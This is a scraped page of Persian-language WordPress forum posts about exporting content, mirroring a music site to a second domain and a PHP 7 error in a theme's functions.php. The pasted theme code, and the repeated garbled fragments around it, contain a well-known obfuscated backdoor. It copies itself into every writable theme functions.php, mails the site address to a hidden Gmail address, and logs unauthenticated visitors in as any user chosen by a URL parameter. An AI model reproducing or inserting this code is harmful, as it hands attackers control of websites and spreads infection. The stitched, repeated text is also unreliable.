$expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?>
  5. با سلام من میخواستم از سایتم برون ریزی کامل بگیرم و روی سایت دیگرم بریزم ( هر دو در یک هاست ) ولی وقتی روی برون ریزی در داشبورد وردپرس کلیک میکنم هیچ صحفه ای باز نمیشه و تنظیمات مربوطه نمیان توی اینترنت این افزونه را پیدا کردم ولی وقتی اونم نصب کردم قسمت Export برای گرفتن برون ریزی را در سر برگ های خودش نداشت طبق این https://goo.gl/WTPNQ3 کسی از اساتید میدونه مشکل از کجاست ؟
  6. ممنونم که افزونه را معرفی کردین فعلا باید تست کنم ببینم بهم جواب میده فکر کنم تغیرات در هسته وردپرس دیگه به یه حرفه ای نیاز داشته باشه از افزونه ها استفاده میکنم و در حال سرچ در مورد کلید API هستم ببینم میتونم یادش بگیرم بازم تشکر
  7. دمتون گرم ممنون میشم اسمشو بهم بگین یا برام اپ کنید
  8. ایا برای راحتی کار افزونه های برای این کار هستن ؟ یا میشه از یه دیتابیس برای دوتا سایت استفاده کرد ؟
  9. نه تازه میخام یه برون ریز از سایت اصلی بگیرم و توی سایت دوم بریزم کلا دو تا سایت شبیه به هم بشن ولی میخام هر چی روی سایت اولم توشتم روی سایت دوم هم عینا مطالب و تگ ها و ... بیان
  10. همه به همین صورت عمل میکنن و اینجور نصب ها برای پوسته های ووکامرس وردپرس هستش که کار باهاشون زیاد راحت نیست البت بعضی از پوسته های وردپرس هم مثل قالب صحیفه که تنظیمات زیادی داره من دیدم توی بعضی از سایت ها فایل نصب سریعش را میزارن برا دانلود همراه با افزونه های مورد نیازش
  11. توی نصب عادی شما فقط سیستم وردپرس با دوتا قالب پیش فرض دارین بدون مطلب همین ولی توی بسته های نصب فوری که اغلب مخصوص فروشگاه های اینترنتی هستن شما علاوه بر نصب سیستم وردپرس و قالب مورد نظر .. افزونه ها و تمام تنظیمات مربوطه را نصب میکنید حتی توی بعضی از بسته های نصب کلی محصول هم هست به صورت پیش فرض ... کلی صحفه اماده با کلی عکس این بسته ها برای ادم های مبتدی هست و خیلی کاربردی هستش
  12. با سلام خدمت اساتید من یه سایت موسیقی دارم به ادرس mp3old.ir که گاهی موزیک روش قرار میدهم یه دامین دیگه هم دارم به اسم bo2bo3.com که اونم به هاست متصله حالا سوال من اینجاست من میخوام روی دامنه bo2bo3.com دقیقا همون سایت mp3old.ir را بارگذاری کنم خب حالا چطور میتونم دقیقا همون مطلبی را که تازه مینویسم هم زمان به صورت اتوماتیک با همون قالب نوشتاری و ... روی دامین دوم به نمایش گذاشته بشه نمیدونم منظورم را رسوندم یا نه ولی منظورم ریدایرکت سایت یا برون ریزی نیست
  13. واقعا دمت گرم داداش درست شد بازم تشکر از وقتی که گذاشتین
  14. با سلام دوستان امروز روی داشبورد وردپرسم پیام اومد که نسخه php هاست باید ارتقاع پیدا کنه تا دو تا از نرم افزار ها کار کنن . منم نسخه را از 5.5 به نسخه 7 ارتقاع دادم . ولی تو فایل فانکشن قالب یه پیغام خطا میده از دوستان خواهشمندم کسی اگه میتونه کمکم کنه .. پیغام خطا : Warning: Cannot modify header information - headers already sent by (output started at /home/bobocom/mp3old.ir/wp-content/themes/Novindownload/functions.php:135) in /home/bobocom/mp3old.ir/wp-admin/includes/misc.php on line 1114 Warning: Declaration of Menu_With_Description::start_el(&$output, $item, $depth, $args) should be compatible with Walker_Nav_Menu::start_el(&$output, $item, $depth = 0, $args = Array, $id = 0) in /home/bobocom/mp3old.ir/wp-content/themes/Novindownload/functions.php on line 135 کد فانکشن قالب : <?php function src_simple_recent_comments($src_count=4, $src_length=60, $pre_HTML='', $post_HTML='') { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT $src_count"; $comments = $wpdb->get_results($sql); $output = $pre_HTML; $output .= "\n<ul>"; foreach ($comments as $comment) { $output .= "\n\t<li><strong><a href=\"" . get_permalink($comment->ID) . "#comment-" . $comment->comment_ID . "\" title=\"on " . $comment->post_title . "\">" . $comment->comment_author . "</a></strong>: " . strip_tags($comment->com_excerpt) . "...</li>"; } $output .= "\n</ul>"; $output .= $post_HTML; echo $output; } include_once('metabox.php'); function getpostviews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0 View"; } return $count.' Views'; } function setpostviews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } function download_button($atts, $content = null) { extract( shortcode_atts( array( 'url' => '#' ), $atts ) ); return '<a href="'.$url.'" class="download-button"><i class="fa fa-cloud-download"></i><span>' . do_shortcode($content) . '</span></a>'; } add_shortcode('download', 'download_button'); function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = "/images/default.jpg"; } return $first_img; } function html5_search_form( $form ) { $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" > <label for="s">' . __('') . '</label> <input type="search" placeholder="'.__("کلیدواژه خود را وارد کنید سپس اینتر را بزنید ...").'" value="' . get_search_query() . '" name="s" id="s" /> </form>'; return $form; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار چپ', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'سایدبار راست', 'description' => 'ناحيه قرار گيری ابزارک های شما', 'before_widget' => '<div class="blockin widget_style_funcs"><div>', 'after_widget' => '</div></div>', 'before_title' => '<div class="title sutunbaslik -baslik widget_baslik"><h3>', 'after_title' => '</h3><i class="fa fa-bars i-in-sec-top-tilop23"></i></div><div class="line-fooot-box-head" style="border-right-width: 110px;"></div>', )); require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); function register_my_menus() { register_nav_menus( array( 'primary' => __( 'فهرست میانی' ), 'top' => __( 'فهرست بالای هدر' ) ) ); } add_action( 'init', 'register_my_menus' ); class Menu_With_Description extends Walker_Nav_Menu { function start_el(&$output, $item, $depth, $args) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="' . esc_attr( $class_names ) . '"'; $output .= $indent . '<li id="menu-item-'. $item->ID . '"' . $value . $class_names .'>'; $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : ''; $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : ''; $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : ''; $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : ''; $item_output = $args->before; $item_output .= '<a'. $attributes .'>'; $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after; $item_output .= '<br /><span class="sub">' . $item->description . '</span>'; $item_output .= '</a>'; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } if ( ! function_exists( 'wptools_pagination' ) ) : function wptools_pagination() { global $wp_query; $big = 999999999; echo paginate_links( array( 'base' => str_replace( $big, '%#%', esc_url( get_pagenum_link( $big ) ) ), 'format' => '?paged=%#%', 'current' => max( 1, get_query_var('paged') ), 'prev_next' => True, 'prev_text' => __('«'), 'next_text' => __('»'), 'total' => $wp_query->max_num_pages ) ); } endif; ?> <?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getsprepare_widget"); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, 